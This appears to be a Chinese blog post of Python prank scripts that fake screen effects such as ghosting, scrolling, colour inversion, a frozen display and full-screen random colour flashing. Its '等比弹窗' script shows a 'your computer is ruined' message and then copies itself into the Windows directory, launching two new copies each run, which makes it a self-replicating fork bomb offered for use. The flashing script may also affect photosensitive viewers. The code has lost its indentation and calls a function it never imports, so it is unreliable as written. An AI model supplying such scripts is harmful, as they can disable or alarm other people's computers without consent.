屏幕重影
import pygame
from pygame.locals import *
from pyautogui import screenshot
pygame.init()
canvas = pygame.display.set_mode((800,800))
pygame.display.set_caption('Sshot')
canvas.fill((255,255,255))
screenshot(region = (0,0,800,800)).save('sshot.png')
i = pygame.image.load('sshot.png')
canvas.blit(i,(0,0))
def h():
for event in pygame.event.get():
if event.type==KEYDOWN and event.key==K_ESCAPE:
pygame.quit()
exit()
while True:
canvas.blit(i,(0,0))
screenshot(region = (0,0,800,800)).save('sshot.png')
i = pygame.image.load('sshot.png')
h()
pygame.display.update()
屏幕移动
import pygame
from pygame.locals import *
from pyautogui import screenshot
from random import randint
def f():
global bg
screenshot(region = (0,0,1920,1080)).save('sshot.png')
bg = pygame.image.load('sshot.png')
f()
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
canvas.fill((255,255,255))
pygame.display.set_caption('MOVE')
def h():
for event in pygame.event.get():
if event.type == KEYDOWN and event.key == K_ESCAPE:
pygame.quit()
exit()
x1 = 0
y1 = 0
height = 1080
x2 = 0
y2 = -height
x3 = 0
y3 = 0
width = 1920
x4 = 0
y4 = 0
n = randint(0,1)
while True:
if n:
canvas.blit(bg,(x1,y1))
y1 += 3
canvas.blit(bg,(x2,y2))
y2 += 3
if y1 > height:
y1 = -height
if y2 > height:
y2 = -height
else:
canvas.blit(bg,(x3,y3))
x3 += 3
canvas.blit(bg,(x4,y4))
x4 += 3
if x3 > width:
x3 = -width
if x4 > width:
x4 = -width
h()
pygame.display.update()
随机音乐(因服务更新,已失效)
from random import choice
from requests import get
from os import system
# range(ord('a'),ord('t') + 1)
fl = []
for i in range(97,117):
fl.append('https://pandaoxi.coding.net/p/pandaoxi/d/PanDaoxi/git/raw/master/%E9%9F%B3%E4%B9%90%E8%B5%84%E6%BA%90/{}.mp3?download=true'.format(chr(i)))
f = choice(fl)
print(f)
with open('music.mp3','wb') as w:
w.write(get(f).content)
system('call music.mp3')
等比弹窗
以前做过,不演示了
from tkinter import Tk,Label
from random import randint
from os import system,name,environ
from time import sleep
title = "Message"
message = "很不好意思,您的电脑废了"
loops = []
window = Tk()
window.geometry("350x50")
window.title(title)
path=environ["windir"]
def main():
global loops,window
Label(window,text=message,font=('Microsoft YaHei',20)).pack()
sleep(5)
with open(__file__,"r",encoding="utf-8") as f:
text = f.read()
for i in range(0,2):
content = "%s\\%d.py" % (path,randint(100000,999999))
with open(content,"w",encoding="utf-8") as f:
f.write(text)
loops.append(content)
for i in range(0,2):
system("start /min cmd /c python %s" % loops[i])
if __name__ == "__main__" and name == "nt":
main()
else:
showerror("Message","无法运行程序,原因可能是:\n①(1)您非主动运行程序。\n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。")
exit()
window.mainloop()
屏幕反色
import cv2
import pygame
from pygame.locals import *
from pyautogui import screenshot
from random import randint
from time import sleep
screenshot(region = (0,0,1920,1080)).save('sshot.png')
im = pygame.image.load('sshot.png')
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
pygame.display.set_caption('SCREEN')
for i in range(0,100): canvas.blit(im,(0,0))
def f():
screenshot(region = (0,0,1920,1080)).save('sshots.png')
img = cv2.imread('sshots.png', 1)
img_shape = img.shape
h = img_shape[0]
w = img_shape[1]
dst = 255 - img
x = randint(100000,999999)
cv2.imwrite("save%d.png" % x,dst,[cv2.IMWRITE_PNG_COMPRESSION,0])
i = pygame.image.load("save%d.png" % x)
canvas.blit(i,(0,0))
cv2.waitKey(0)
def h():
for event in pygame.event.get():
if event.type == KEYDOWN and event.key == K_ESCAPE:
pygame.quit()
exit()
while True:
f()
h()
pygame.display.update()
pygame.time.delay(randint(500,3500))
屏幕闪烁
这个我也做过,不说了
import pygame
from pygame.locals import *
from random import randint
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
pygame.display.set_caption("Computer Dance")
canvas.fill((255,255,255))
def h():
for event in pygame.event.get():
if event.type==KEYDOWN and event.key==K_ESCAPE:
pygame.quit()
exit()
while True:
r,g,b = randint(0,255),randint(0,255),randint(0,255)
rgb = (r,g,b)
canvas.fill(rgb)
h()
pygame.display.update()
屏幕失效
import pygame
from pygame.locals import *
from pyautogui import screenshot
screenshot(region = (0,0,1920,1080)).save('sshot.png')
i = pygame.image.load("./sshot.png")
pygame.init()
canvas = pygame.display.set_mode((1920,1080))
pygame.display.set_caption('Sshot')
canvas.blit(i,(0,0))
def h():
for event in pygame.event.get():
if event.type==KEYDOWN and event.key==K_ESCAPE:
pygame.quit()
exit()
while True:
canvas.blit(i,(0,0))
screenshot(region = (0,0,1920,1080)).save('sshot.png')
i = pygame.image.load('sshot.png')
h()
pygame.display.update()